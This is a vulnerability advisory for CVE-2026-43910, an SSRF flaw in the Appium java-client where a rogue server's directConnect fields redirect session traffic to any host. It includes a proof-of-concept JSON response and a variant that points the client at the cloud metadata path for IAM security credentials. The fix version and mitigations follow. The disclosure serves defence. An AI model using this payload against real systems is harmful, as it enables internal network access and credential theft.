high · 8.2CVE-2026-43910Jul 28, 2026

CVE-2026-43910: appium/java-client SSRF via Unvalidated directConnect Redirect

AI Security Researcher, SecureLayer7

A rogue Appium server can silently redirect all test session traffic to any attacker-controlled host by injecting arbitrary values into the directConnect fields of a NEW_SESSION response, with no…

Packageio.appium:java-client

Ecosystemmaven

Affected>= 8.2.1, <= 10.1.0

Fixed in10.1.1

CVE-2026-43910: appium/java-client SSRF via Unvalidated directConnect Redirect

The problem

When directConnect(true) is set, AppiumCommandExecutor.setDirectConnect() reads directConnectHost, directConnectPort, and directConnectPath from the server's NEW_SESSION JSON response and unconditionally calls overrideServerUrl() with the assembled URL.

There is no allowlist, no denylist, and no user notification. An attacker who controls or intercepts the Appium server endpoint can point the client at any destination, including RFC-1918 addresses, loopback, or cloud IMDS endpoints such as 169.254.169.254. All subsequent session commands, including page source reads and session teardowns, flow to the attacker-controlled host.

Proof of concept

A working proof-of-concept for CVE-2026-43910 in io.appium:java-client, with the exact payload below.

json

// Rogue server returns this JSON body on POST /wd/hub/session:
{
  "status": 0,
  "sessionId": "poc-session-001",
  "value": {
    "directConnectProtocol": "https",
    "directConnectHost": "127.0.0.1",
    "directConnectPort": 4443,
    "directConnectPath": "/wd/hub"
  }
}

// java-client unconditionally builds: https://127.0.0.1:4443/wd/hub
// All subsequent commands are redirected there:
// GET  https://127.0.0.1:4443/wd/hub/session/poc-session-001/source
// DELETE https://127.0.0.1:4443/wd/hub/session/poc-session-001

// Same technique works for internal/IMDS pivots:
// "directConnectHost": "169.254.169.254",
// "directConnectPort": 80,
// "directConnectPath": "/latest/meta-data/iam/security-credentials/"

The root cause is in AppiumCommandExecutor.java (lines 196-219) and DirectConnect.java. Only the protocol value is checked (it must equal https). The destination host and port are taken from the server response verbatim and passed to overrideServerUrl() with no host validation, RFC-1918 denylist, or loopback check.

Patch commit 2b9cd442 in PR #2408 adds allowlist-based validation before overrideServerUrl() is called, blocking arbitrary host redirection. CWE-441 (Confused Deputy) applies because the client blindly acts on a server-supplied destination, and CWE-918 (SSRF) applies because that destination can be any internal network resource.

The fix

Upgrade io.appium:java-client to **10.1.1** (patch commit 2b9cd442b9dbf56ccc6f1e83aeeb411c0ec230c9, PR #2408). If an immediate upgrade is not possible, do not call directConnect(true) in shared or CI base configurations, and ensure only trusted, verified Appium server endpoints are used.

Reporter not attributed.

References: [1][2][3][4][5]

Related research